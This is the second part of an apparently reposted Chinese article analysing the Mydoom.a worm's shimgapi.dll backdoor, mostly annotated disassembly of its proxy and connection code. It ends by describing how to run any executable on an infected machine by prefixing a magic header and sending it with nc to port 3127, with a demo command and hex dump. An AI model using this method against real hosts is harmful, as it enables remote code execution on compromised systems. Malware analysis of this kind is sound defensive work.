软讯网络 > 网络安全 > 黑客技术 > 对Mydoom.a的shimgapi.dll的分析 下
【标 题】:对Mydoom.a的shimgapi.dll的分析 下
【关键字】:
dll,api,My,do,Mydoom,Mydoom,shimgapi,dll
【来 源】:网络
对Mydoom.a的shimgapi.dll的分析 下
.text:7E1A184A
.text:7E1A184A loc_7E1A184A: ; CODE XREF: sub_7E1A17BA+7Aj
.text:7E1A184A cmp [ebp+buf], 4 ; 再次判断第一个字符是否是0x04
.text:7E1A184E jnz short loc_7E1A18B7
.text:7E1A1850 cmp byte ptr [ebp-0Fh], 1 ; 判断第二个字符是否是0x01,如果是的,则继续,不是,则退出
.text:7E1A1854 jnz short loc_7E1A18B7
.text:7E1A1856 cmp [ebp+hostlong], 0 ; 判断末四个字符(IP)是否全0
.text:7E1A185A jz short loc_7E1A187C
.text:7E1A185C push [ebp+hostlong] ; hostlong
.text:7E1A185F call ds:htonl
.text:7E1A1865 test eax, 0FFFFFF00h ; 检查输入的IP是否是255.255.255.0
.text:7E1A186A jnz short loc_7E1A187C
.text:7E1A186C push [ebp+s]
.text:7E1A186F lea ebx, [ebp+hostlong]
.text:7E1A1872 call sub_7E1A1664
.text:7E1A1877 test eax, eax
.text:7E1A1879 pop ecx
.text:7E1A187A jnz short loc_7E1A18B7
.text:7E1A187C
.text:7E1A187C loc_7E1A187C: ; CODE XREF: sub_7E1A17BA+A0j
.text:7E1A187C ; sub_7E1A17BA+B0j
.text:7E1A187C mov ax, [ebp-0Eh] ; 取前两个字符,作为端口
.text:7E1A1880 push 6 ; protocol
.text:7E1A1882 mov word ptr [ebp+name.sa_data], ax
.text:7E1A1886 mov eax, [ebp+hostlong]
.text:7E1A1889 push 1 ; type
.text:7E1A188B push 2 ; af
.text:7E1A188D mov [ebp+name.sa_family], 2
.text:7E1A1893 mov dword ptr [ebp+name.sa_data+2], eax
.text:7E1A1896 call ds:socket
.text:7E1A189C cmp eax, 0FFFFFFFFh
.text:7E1A189F mov [ebp+var_8], eax
.text:7E1A18A2 jz short loc_7E1A18B7
.text:7E1A18A4 lea eax, [ebp+name]
.text:7E1A18A7 push 10h ; namelen
.text:7E1A18A9 push eax ; name
.text:7E1A18AA push [ebp+var_8] ; s
.text:7E1A18AD call ds:connect
.text:7E1A18B3 test eax, eax
.text:7E1A18B5 jz short loc_7E1A18D2
.text:7E1A18B7
.text:7E1A18B7 loc_7E1A18B7: ; CODE XREF: sub_7E1A17BA+40j
.text:7E1A18B7 ; sub_7E1A17BA+8Ej ...
.text:7E1A18B7 push 0 ; flags
.text:7E1A18B9 lea eax, [ebp+buf]
.text:7E1A18BC push 8 ; len
.text:7E1A18BE push eax ; buf
.text:7E1A18BF push [ebp+s] ; s
.text:7E1A18C2 mov [ebp+buf], 4
.text:7E1A18C6 mov byte ptr [ebp-0Fh], 5Bh ; 连接不成功,返回0x5B
.text:7E1A18CA call ds:send
.text:7E1A18D0 jmp short loc_7E1A18F8
.text:7E1A18D2 ;...........................................
.text:7E1A18D2
.text:7E1A18D2 loc_7E1A18D2: ; CODE XREF: sub_7E1A17BA+FBj
.text:7E1A18D2 push 0 ; flags
.text:7E1A18D4 lea eax, [ebp+buf]
.text:7E1A18D7 push 8 ; len
.text:7E1A18D9 push eax ; buf
.text:7E1A18DA push [ebp+s] ; s
.text:7E1A18DD mov [ebp+buf], 4
.text:7E1A18E1 mov byte ptr [ebp-0Fh], 5Ah ; 连接成功,返回0x5A
.text:7E1A18E5 call ds:send
.text:7E1A18EB push [ebp+var_8]
.text:7E1A18EE push [ebp+s]
.text:7E1A18F1 call sub_7E1A16D3
.text:7E1A18F6 pop ecx
.text:7E1A18F7 pop ecx
如果recv的第1个字符是\xQQ --> 第2~5个字符是\xPP\xPP\xPP\xPP --> 接受从第六个字符开始的所有数据,作为文件保存在临时文件夹 --> CreateProcess --> 程序退出后,删除程序。
也就是说,只要我们把任意一个可执行文件的头部,加上五个字符:\xQQ\xPP\xPP\xPP\xPP,作为数据发送到感染了Mydoom.a蠕虫机器的3127端口,这个文件,就会在系统上被执行。我把系统的计算器程序,用UltraEdit加上了这个magic-head,用NC发送过去,成功执行了。
# xxd -g 1 -l 64 calc.exe
0000000: qq pp pp pp pp 4d 5a 90 00 03 00 00 00 04 00 00 ..<..MZ.........
0000010: 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 .............@..
0000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
# nc 192.168.7.33 3127 < calc.exe
^C
|